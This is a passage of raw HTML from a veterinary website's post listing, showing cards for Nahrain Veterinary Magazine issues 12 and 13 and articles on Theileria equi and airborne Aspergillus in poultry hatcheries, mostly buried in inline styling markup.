);"><div class="fusion-layout-column fusion_builder_column_inner fusion-builder-nested-column-10 fusion_builder_column_inner_1_1 1_1 fusion-flex-column" style="--awb-padding-top:13vw;--awb-padding-right:3vw;--awb-padding-bottom:2vw;--awb-padding-left:2vw;--awb-padding-left-medium:3vw;--awb-padding-top-small:20vw;--awb-bg-image:linear-gradient(180deg, hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%)) 0%,var(--awb-color8) 100%);;--awb-bg-position:center center;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper lazyload fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column fusion-column-has-bg-image" data-bg-url="https://nahrainveterinary.com/wp-content/uploads/2026/08/NAHRIN-VI-MAGAZINE-12.indd-NEW.pdf-_Page_01-scaled.jpg" data-bg="https://nahrainveterinary.com/wp-content/uploads/2026/08/NAHRIN-VI-MAGAZINE-12.indd-NEW.pdf-_Page_01-scaled.jpg" data-bg-gradient="linear-gradient(180deg, hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%)) 0%,var(--awb-color8) 100%)"><div ><a class="fusion-button button-flat fusion-button-default-size button-custom fusion-button-default button-11 fusion-button-default-span fusion-button-default-type" style="--awb-margin-bottom:10px;--awb-padding-top:0px;--awb-padding-right:15px;--awb-padding-bottom:10px;--awb-padding-left:5px;--button_accent_color:var(--awb-color1);--button_border_color:var(--awb-color4);--button_accent_hover_color:var(--awb-color1);--button_border_hover_color:var(--awb-color4);--button_border_width-top:0px;--button_border_width-right:2px;--button_border_width-bottom:2px;--button_border_width-left:0px;--button-border-radius-top-left:0;--button-border-radius-top-right:0;--button-border-radius-bottom-right:0;--button-border-radius-bottom-left:0;--button_gradient_top_color:hsla(var(--awb-color4-h),var(--awb-color4-s),var(--awb-color4-l),calc(var(--awb-color4-a) - 100%));--button_gradient_bottom_color:hsla(var(--awb-color4-h),var(--awb-color4-s),var(--awb-color4-l),calc(var(--awb-color4-a) - 100%));--button_gradient_top_color_hover:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 100%));--button_gradient_bottom_color_hover:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 100%));--button_text_transform:var(--awb-typography5-text-transform);--button_font_size:var(--awb-typography5-font-size);--button_line_height:var(--awb-typography5-line-height);--button_typography-letter-spacing:var(--awb-typography5-letter-spacing);--button_typography-font-family:var(--awb-typography5-font-family);--button_typography-font-weight:var(--awb-typography5-font-weight);--button_typography-font-style:var(--awb-typography5-font-style);" target="_self" href="https://nahrainveterinary.com/nahrain-veterinary-magazine-no-12/"><span class="fusion-button-text awb-button__text awb-button__text--default">Magazine</span></a></div></div></div></div><div class="fusion-builder-row fusion-builder-row-inner fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="--awb-flex-grow:0;--awb-flex-grow-medium:0;--awb-flex-grow-small:0;--awb-flex-shrink:0;--awb-flex-shrink-medium:0;--awb-flex-shrink-small:0;width:105% !important;max-width:105% !important;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column_inner fusion-builder-nested-column-11 fusion_builder_column_inner_1_1 1_1 fusion-flex-column" style="--awb-padding-top:25px;--awb-padding-right:10px;--awb-padding-bottom:25px;--awb-padding-left:10px;--awb-padding-right-medium:15px;--awb-padding-left-medium:15px;--awb-bg-position:center center;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-title title fusion-title-7 fusion-sep-none fusion-title-text fusion-title-size-four" style="--awb-margin-bottom:5px;--awb-margin-top-small:10px;--awb-margin-right-small:0px;--awb-margin-bottom-small:10px;--awb-margin-left-small:0px;--awb-link-color:var(--awb-color8);--awb-link-hover-color:var(--awb-color4);"><h4 class="fusion-title-heading title-heading-left" style="margin:0;text-transform:capitalize;"><a href="https://nahrainveterinary.com/nahrain-veterinary-magazine-no-12/" class="awb-custom-text-color awb-custom-text-hover-color" target="_self">nahrain veterinary magazine no. 12</a></h4></div><div class="fusion-text fusion-text-6" style="--awb-margin-top:10px;"><p>nahrain veterinary magazine no. 12 &nbsp; https://drive.google.com/file/d/13pTWuTHaNzUkYETBfmPwH1Fbtx5E3C5X/view?usp=drive_link</p></div><div ><a class="fusion-button button-flat fusion-button-default-size button-custom fusion-button-default button-12 fusion-button-default-span fusion-button-default-type" style="--awb-margin-top:-10px;--awb-padding-left:0px;--button_accent_color:var(--awb-color5);--button_border_color:var(--awb-color5);--button_accent_hover_color:var(--awb-color5);--button_border_hover_color:var(--awb-color5);--button_gradient_top_color:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%));--button_gradient_bottom_color:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%));--button_gradient_top_color_hover:hsla(var(--awb-color5-h),var(--awb-color5-s),var(--awb-color5-l),calc(var(--awb-color5-a) - 100%));--button_gradient_bottom_color_hover:hsla(var(--awb-color5-h),var(--awb-color5-s),var(--awb-color5-l),calc(var(--awb-color5-a) - 100%));--button_text_transform:var(--awb-typography5-text-transform);--button_font_size:var(--awb-typography5-font-size);--button_line_height:var(--awb-typography5-line-height);--button_typography-letter-spacing:var(--awb-typography5-letter-spacing);--button_typography-font-family:var(--awb-typography5-font-family);--button_typography-font-weight:var(--awb-typography5-font-weight);--button_typography-font-style:var(--awb-typography5-font-style);" target="_self" href="#"><span class="fusion-button-text awb-button__text awb-button__text--default">August 19, 2026</span></a></div></div></div></div></div></li><li class="fusion-layout-column fusion_builder_column fusion-builder-column-11 fusion-flex-column post-card fusion-grid-column fusion-post-cards-grid-column" style="--awb-bg-position:center center;--awb-bg-size:cover;--awb-border-color:var(--awb-color2);--awb-border-bottom:1px;--awb-border-style:solid;--awb-flex-grow:0;--awb-flex-shrink:0;--awb-flex-grow-medium:;--awb-flex-shrink-medium:;--awb-flex-grow-small:;--awb-flex-shrink-small:;"><div class="fusion-column-wrapper fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-builder-row fusion-builder-row-inner fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="--awb-flex-grow:0;--awb-flex-grow-medium:0;--awb-flex-grow-small:0;--awb-flex-shrink:0;--awb-flex-shrink-medium:0;--awb-flex-shrink-small:0;width:105% !important;max-width:105% !important;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column_inner fusion-builder-nested-column-12 fusion_builder_column_inner_1_1 1_1 fusion-flex-column" style="--awb-padding-top:13vw;--awb-padding-right:3vw;--awb-padding-bottom:2vw;--awb-padding-left:2vw;--awb-padding-left-medium:3vw;--awb-padding-top-small:20vw;--awb-bg-image:linear-gradient(180deg, hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%)) 0%,var(--awb-color8) 100%);;--awb-bg-position:center center;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper lazyload fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column fusion-column-has-bg-image" data-bg-url="https://nahrainveterinary.com/wp-content/uploads/2026/06/NAHRIN-VI-MAGAZINE-13.indd-NEW-scaled.jpg" data-bg="https://nahrainveterinary.com/wp-content/uploads/2026/06/NAHRIN-VI-MAGAZINE-13.indd-NEW-scaled.jpg" data-bg-gradient="linear-gradient(180deg, hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%)) 0%,var(--awb-color8) 100%)"><div ><a class="fusion-button button-flat fusion-button-default-size button-custom fusion-button-default button-13 fusion-button-default-span fusion-button-default-type" style="--awb-margin-bottom:10px;--awb-padding-top:0px;--awb-padding-right:15px;--awb-padding-bottom:10px;--awb-padding-left:5px;--button_accent_color:var(--awb-color1);--button_border_color:var(--awb-color4);--button_accent_hover_color:var(--awb-color1);--button_border_hover_color:var(--awb-color4);--button_border_width-top:0px;--button_border_width-right:2px;--button_border_width-bottom:2px;--button_border_width-left:0px;--button-border-radius-top-left:0;--button-border-radius-top-right:0;--button-border-radius-bottom-right:0;--button-border-radius-bottom-left:0;--button_gradient_top_color:hsla(var(--awb-color4-h),var(--awb-color4-s),var(--awb-color4-l),calc(var(--awb-color4-a) - 100%));--button_gradient_bottom_color:hsla(var(--awb-color4-h),var(--awb-color4-s),var(--awb-color4-l),calc(var(--awb-color4-a) - 100%));--button_gradient_top_color_hover:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 100%));--button_gradient_bottom_color_hover:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 100%));--button_text_transform:var(--awb-typography5-text-transform);--button_font_size:var(--awb-typography5-font-size);--button_line_height:var(--awb-typography5-line-height);--button_typography-letter-spacing:var(--awb-typography5-letter-spacing);--button_typography-font-family:var(--awb-typography5-font-family);--button_typography-font-weight:var(--awb-typography5-font-weight);--button_typography-font-style:var(--awb-typography5-font-style);" target="_self" href="https://nahrainveterinary.com/nahrain-veterinary-magazine-no-13-%d9%85%d8%ac%d9%84%d8%a9-%d8%a7%d9%84%d9%86%d9%87%d8%b1%db%8c%d9%86-%d8%a7%d9%84%d8%a8%db%8c%d8%b7%d8%b1%db%8c%d8%a9/"><span class="fusion-button-text awb-button__text awb-button__text--default">Magazine,News</span></a></div></div></div></div><div class="fusion-builder-row fusion-builder-row-inner fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="--awb-flex-grow:0;--awb-flex-grow-medium:0;--awb-flex-grow-small:0;--awb-flex-shrink:0;--awb-flex-shrink-medium:0;--awb-flex-shrink-small:0;width:105% !important;max-width:105% !important;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column_inner fusion-builder-nested-column-13 fusion_builder_column_inner_1_1 1_1 fusion-flex-column" style="--awb-padding-top:25px;--awb-padding-right:10px;--awb-padding-bottom:25px;--awb-padding-left:10px;--awb-padding-right-medium:15px;--awb-padding-left-medium:15px;--awb-bg-position:center center;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-title title fusion-title-8 fusion-sep-none fusion-title-text fusion-title-size-four" style="--awb-margin-bottom:5px;--awb-margin-top-small:10px;--awb-margin-right-small:0px;--awb-margin-bottom-small:10px;--awb-margin-left-small:0px;--awb-link-color:var(--awb-color8);--awb-link-hover-color:var(--awb-color4);"><h4 class="fusion-title-heading title-heading-left" style="margin:0;text-transform:capitalize;"><a href="https://nahrainveterinary.com/nahrain-veterinary-magazine-no-13-%d9%85%d8%ac%d9%84%d8%a9-%d8%a7%d9%84%d9%86%d9%87%d8%b1%db%8c%d9%86-%d8%a7%d9%84%d8%a8%db%8c%d8%b7%d8%b1%db%8c%d8%a9/" class="awb-custom-text-color awb-custom-text-hover-color" target="_self">nahrain veterinary magazine no. 13  مجلة النهرین البیطریة</a></h4></div><div class="fusion-text fusion-text-7" style="--awb-margin-top:10px;"><p>nahrain veterinary magazine no. 13 مجلة النهرین البیطریة https://drive.google.com/file/d/13pTWuTHaNzUkYETBfmPwH1Fbtx5E3C5X/view?usp=drive_link &nbsp;</p></div><div ><a class="fusion-button button-flat fusion-button-default-size button-custom fusion-button-default button-14 fusion-button-default-span fusion-button-default-type" style="--awb-margin-top:-10px;--awb-padding-left:0px;--button_accent_color:var(--awb-color5);--button_border_color:var(--awb-color5);--button_accent_hover_color:var(--awb-color5);--button_border_hover_color:var(--awb-color5);--button_gradient_top_color:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%));--button_gradient_bottom_color:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%));--button_gradient_top_color_hover:hsla(var(--awb-color5-h),var(--awb-color5-s),var(--awb-color5-l),calc(var(--awb-color5-a) - 100%));--button_gradient_bottom_color_hover:hsla(var(--awb-color5-h),var(--awb-color5-s),var(--awb-color5-l),calc(var(--awb-color5-a) - 100%));--button_text_transform:var(--awb-typography5-text-transform);--button_font_size:var(--awb-typography5-font-size);--button_line_height:var(--awb-typography5-line-height);--button_typography-letter-spacing:var(--awb-typography5-letter-spacing);--button_typography-font-family:var(--awb-typography5-font-family);--button_typography-font-weight:var(--awb-typography5-font-weight);--button_typography-font-style:var(--awb-typography5-font-style);" target="_self" href="#"><span class="fusion-button-text awb-button__text awb-button__text--default">August 19, 2026</span></a></div></div></div></div></div></li><li class="fusion-layout-column fusion_builder_column fusion-builder-column-12 fusion-flex-column post-card fusion-grid-column fusion-post-cards-grid-column" style="--awb-bg-position:center center;--awb-bg-size:cover;--awb-border-color:var(--awb-color2);--awb-border-bottom:1px;--awb-border-style:solid;--awb-flex-grow:0;--awb-flex-shrink:0;--awb-flex-grow-medium:;--awb-flex-shrink-medium:;--awb-flex-grow-small:;--awb-flex-shrink-small:;"><div class="fusion-column-wrapper fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-builder-row fusion-builder-row-inner fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="--awb-flex-grow:0;--awb-flex-grow-medium:0;--awb-flex-grow-small:0;--awb-flex-shrink:0;--awb-flex-shrink-medium:0;--awb-flex-shrink-small:0;width:105% !important;max-width:105% !important;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column_inner fusion-builder-nested-column-14 fusion_builder_column_inner_1_1 1_1 fusion-flex-column" style="--awb-padding-top:13vw;--awb-padding-right:3vw;--awb-padding-bottom:2vw;--awb-padding-left:2vw;--awb-padding-left-medium:3vw;--awb-padding-top-small:20vw;--awb-bg-image:linear-gradient(180deg, hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%)) 0%,var(--awb-color8) 100%);;--awb-bg-position:center center;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper lazyload fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column fusion-column-has-bg-image" data-bg-url="https://nahrainveterinary.com/wp-content/uploads/2025/04/١٠٠٠.jpeg" data-bg="https://nahrainveterinary.com/wp-content/uploads/2025/04/١٠٠٠.jpeg" data-bg-gradient="linear-gradient(180deg, hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%)) 0%,var(--awb-color8) 100%)"><div ><a class="fusion-button button-flat fusion-button-default-size button-custom fusion-button-default button-15 fusion-button-default-span fusion-button-default-type" style="--awb-margin-bottom:10px;--awb-padding-top:0px;--awb-padding-right:15px;--awb-padding-bottom:10px;--awb-padding-left:5px;--button_accent_color:var(--awb-color1);--button_border_color:var(--awb-color4);--button_accent_hover_color:var(--awb-color1);--button_border_hover_color:var(--awb-color4);--button_border_width-top:0px;--button_border_width-right:2px;--button_border_width-bottom:2px;--button_border_width-left:0px;--button-border-radius-top-left:0;--button-border-radius-top-right:0;--button-border-radius-bottom-right:0;--button-border-radius-bottom-left:0;--button_gradient_top_color:hsla(var(--awb-color4-h),var(--awb-color4-s),var(--awb-color4-l),calc(var(--awb-color4-a) - 100%));--button_gradient_bottom_color:hsla(var(--awb-color4-h),var(--awb-color4-s),var(--awb-color4-l),calc(var(--awb-color4-a) - 100%));--button_gradient_top_color_hover:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 100%));--button_gradient_bottom_color_hover:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 100%));--button_text_transform:var(--awb-typography5-text-transform);--button_font_size:var(--awb-typography5-font-size);--button_line_height:var(--awb-typography5-line-height);--button_typography-letter-spacing:var(--awb-typography5-letter-spacing);--button_typography-font-family:var(--awb-typography5-font-family);--button_typography-font-weight:var(--awb-typography5-font-weight);--button_typography-font-style:var(--awb-typography5-font-style);" target="_self" href="https://nahrainveterinary.com/how-did-babesia-equi-become-theileria-equi/"><span class="fusion-button-text awb-button__text awb-button__text--default">Articles,News</span></a></div></div></div></div><div class="fusion-builder-row fusion-builder-row-inner fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="--awb-flex-grow:0;--awb-flex-grow-medium:0;--awb-flex-grow-small:0;--awb-flex-shrink:0;--awb-flex-shrink-medium:0;--awb-flex-shrink-small:0;width:105% !important;max-width:105% !important;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column_inner fusion-builder-nested-column-15 fusion_builder_column_inner_1_1 1_1 fusion-flex-column" style="--awb-padding-top:25px;--awb-padding-right:10px;--awb-padding-bottom:25px;--awb-padding-left:10px;--awb-padding-right-medium:15px;--awb-padding-left-medium:15px;--awb-bg-position:center center;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-title title fusion-title-9 fusion-sep-none fusion-title-text fusion-title-size-four" style="--awb-margin-bottom:5px;--awb-margin-top-small:10px;--awb-margin-right-small:0px;--awb-margin-bottom-small:10px;--awb-margin-left-small:0px;--awb-link-color:var(--awb-color8);--awb-link-hover-color:var(--awb-color4);"><h4 class="fusion-title-heading title-heading-left" style="margin:0;text-transform:capitalize;"><a href="https://nahrainveterinary.com/how-did-babesia-equi-become-theileria-equi/" class="awb-custom-text-color awb-custom-text-hover-color" target="_self">How Did Babesia equi Become Theileria equi</a></h4></div><div class="fusion-text fusion-text-8" style="--awb-margin-top:10px;"><p>How Did Babesia equi Become Theileria equi? The Story of  [...]</p></div><div ><a class="fusion-button button-flat fusion-button-default-size button-custom fusion-button-default button-16 fusion-button-default-span fusion-button-default-type" style="--awb-margin-top:-10px;--awb-padding-left:0px;--button_accent_color:var(--awb-color5);--button_border_color:var(--awb-color5);--button_accent_hover_color:var(--awb-color5);--button_border_hover_color:var(--awb-color5);--button_gradient_top_color:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%));--button_gradient_bottom_color:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%));--button_gradient_top_color_hover:hsla(var(--awb-color5-h),var(--awb-color5-s),var(--awb-color5-l),calc(var(--awb-color5-a) - 100%));--button_gradient_bottom_color_hover:hsla(var(--awb-color5-h),var(--awb-color5-s),var(--awb-color5-l),calc(var(--awb-color5-a) - 100%));--button_text_transform:var(--awb-typography5-text-transform);--button_font_size:var(--awb-typography5-font-size);--button_line_height:var(--awb-typography5-line-height);--button_typography-letter-spacing:var(--awb-typography5-letter-spacing);--button_typography-font-family:var(--awb-typography5-font-family);--button_typography-font-weight:var(--awb-typography5-font-weight);--button_typography-font-style:var(--awb-typography5-font-style);" target="_self" href="#"><span class="fusion-button-text awb-button__text awb-button__text--default">June 10, 2026</span></a></div></div></div></div></div></li><li class="fusion-layout-column fusion_builder_column fusion-builder-column-13 fusion-flex-column post-card fusion-grid-column fusion-post-cards-grid-column" style="--awb-bg-position:center center;--awb-bg-size:cover;--awb-border-color:var(--awb-color2);--awb-border-bottom:1px;--awb-border-style:solid;--awb-flex-grow:0;--awb-flex-shrink:0;--awb-flex-grow-medium:;--awb-flex-shrink-medium:;--awb-flex-grow-small:;--awb-flex-shrink-small:;"><div class="fusion-column-wrapper fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-builder-row fusion-builder-row-inner fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="--awb-flex-grow:0;--awb-flex-grow-medium:0;--awb-flex-grow-small:0;--awb-flex-shrink:0;--awb-flex-shrink-medium:0;--awb-flex-shrink-small:0;width:105% !important;max-width:105% !important;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column_inner fusion-builder-nested-column-16 fusion_builder_column_inner_1_1 1_1 fusion-flex-column" style="--awb-padding-top:13vw;--awb-padding-right:3vw;--awb-padding-bottom:2vw;--awb-padding-left:2vw;--awb-padding-left-medium:3vw;--awb-padding-top-small:20vw;--awb-bg-image:linear-gradient(180deg, hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%)) 0%,var(--awb-color8) 100%);;--awb-bg-position:center center;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper lazyload fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column fusion-column-has-bg-image" data-bg-url="https://nahrainveterinary.com/wp-content/uploads/2024/09/001_733_IMG_vel134034icopy-848x565-1.jpg" data-bg="https://nahrainveterinary.com/wp-content/uploads/2024/09/001_733_IMG_vel134034icopy-848x565-1.jpg" data-bg-gradient="linear-gradient(180deg, hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%)) 0%,var(--awb-color8) 100%)"><div ><a class="fusion-button button-flat fusion-button-default-size button-custom fusion-button-default button-17 fusion-button-default-span fusion-button-default-type" style="--awb-margin-bottom:10px;--awb-padding-top:0px;--awb-padding-right:15px;--awb-padding-bottom:10px;--awb-padding-left:5px;--button_accent_color:var(--awb-color1);--button_border_color:var(--awb-color4);--button_accent_hover_color:var(--awb-color1);--button_border_hover_color:var(--awb-color4);--button_border_width-top:0px;--button_border_width-right:2px;--button_border_width-bottom:2px;--button_border_width-left:0px;--button-border-radius-top-left:0;--button-border-radius-top-right:0;--button-border-radius-bottom-right:0;--button-border-radius-bottom-left:0;--button_gradient_top_color:hsla(var(--awb-color4-h),var(--awb-color4-s),var(--awb-color4-l),calc(var(--awb-color4-a) - 100%));--button_gradient_bottom_color:hsla(var(--awb-color4-h),var(--awb-color4-s),var(--awb-color4-l),calc(var(--awb-color4-a) - 100%));--button_gradient_top_color_hover:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 100%));--button_gradient_bottom_color_hover:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 100%));--button_text_transform:var(--awb-typography5-text-transform);--button_font_size:var(--awb-typography5-font-size);--button_line_height:var(--awb-typography5-line-height);--button_typography-letter-spacing:var(--awb-typography5-letter-spacing);--button_typography-font-family:var(--awb-typography5-font-family);--button_typography-font-weight:var(--awb-typography5-font-weight);--button_typography-font-style:var(--awb-typography5-font-style);" target="_self" href="https://nahrainveterinary.com/airborne-aspergillus-spp-between-poultry-health-and-one-health-risk/"><span class="fusion-button-text awb-button__text awb-button__text--default">Articles,News</span></a></div></div></div></div><div class="fusion-builder-row fusion-builder-row-inner fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="--awb-flex-grow:0;--awb-flex-grow-medium:0;--awb-flex-grow-small:0;--awb-flex-shrink:0;--awb-flex-shrink-medium:0;--awb-flex-shrink-small:0;width:105% !important;max-width:105% !important;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column_inner fusion-builder-nested-column-17 fusion_builder_column_inner_1_1 1_1 fusion-flex-column" style="--awb-padding-top:25px;--awb-padding-right:10px;--awb-padding-bottom:25px;--awb-padding-left:10px;--awb-padding-right-medium:15px;--awb-padding-left-medium:15px;--awb-bg-position:center center;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-title title fusion-title-10 fusion-sep-none fusion-title-text fusion-title-size-four" style="--awb-margin-bottom:5px;--awb-margin-top-small:10px;--awb-margin-right-small:0px;--awb-margin-bottom-small:10px;--awb-margin-left-small:0px;--awb-link-color:var(--awb-color8);--awb-link-hover-color:var(--awb-color4);"><h4 class="fusion-title-heading title-heading-left" style="margin:0;text-transform:capitalize;"><a href="https://nahrainveterinary.com/airborne-aspergillus-spp-between-poultry-health-and-one-health-risk/" class="awb-custom-text-color awb-custom-text-hover-color" target="_self">Airborne Aspergillus spp. Between Poultry Health and One Health Risk</a></h4></div><div class="fusion-text fusion-text-9" style="--awb-margin-top:10px;"><p>Hatchery Environmental Monitoring as a Biosecurity Imperative: Airborne Aspergillus spp.  [...]</p></div><div ><a class="fusion-button button-flat fusion-button-default-size button-custom fusion-button-default button-18 fusion-button-default-span fusion-button-default-type" style="--awb-margin-top:-10px;--awb-padding-left:0px;--button_accent_color:var(--awb-color5);--button_border_color:var(--awb-color5);--button_accent_hover_color:var(--awb-color5);--button_border_hover_color:var(--awb-color5);--button_gradient_top_color:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%));--button_gradient_bottom_color:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%));--button_gradient_top_color_hover:hsla(var(--awb-color5-h),var(--awb-color5-s),var(--awb-color5-l),calc(var(--awb-color5-a) - 100%));--button_gradient_bottom_color_hover:hsla(var(--awb-color5-h),var(--awb-color5-s),var(--awb-color5-l),calc(var(--awb-color5-a) - 100%));--button_text_transform:var(--awb-typography5-text-transform);--button_font_size:var(--awb-typography5-font-size);--button_line_height:var(--awb-typography5-line-height);--button_typography-letter-spacing:var(--awb-typography5-letter-spacing);--button_typography-font-family:var(--awb-typography5-font-family);--button_typography-font-weight:var(--awb-typography5-font-weight);--button_typography-font-style:var(--awb-typography5-font-style);" target="_self" href="#"><span class="fusion-button-text awb-button__text awb-button__text--default">May 19, 2026</span></a></div></div></div></div></div></li><li class="fusion-layout-column fusion_builder_column fusion-builder-column-14 fusion-flex-column post-card fusion-grid-column fusion-post-cards-grid-column" style="--awb-bg-position:center center;--awb-bg-size:cover;--awb-border-color:var(--awb-color2);--awb-border-bottom:1px;--awb-border-style:solid;--awb-flex-grow:0;--awb-flex-shrink:0;--awb-flex-grow-medium:;--awb-flex-shrink-medium:;--awb-flex-grow-small:;--awb-flex-shrink-small:;"><div class="fusion-column-wrapper fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-builder-row fusion-builder-row-inner fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="--awb-flex-grow:0;--awb-flex-grow-medium:0;--awb-flex-grow-small:0;--awb-flex-shrink:0;--awb-flex-shrink-medium:0;--awb-flex-shrink-small:0;width:105% !important;max-width:105% !important;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 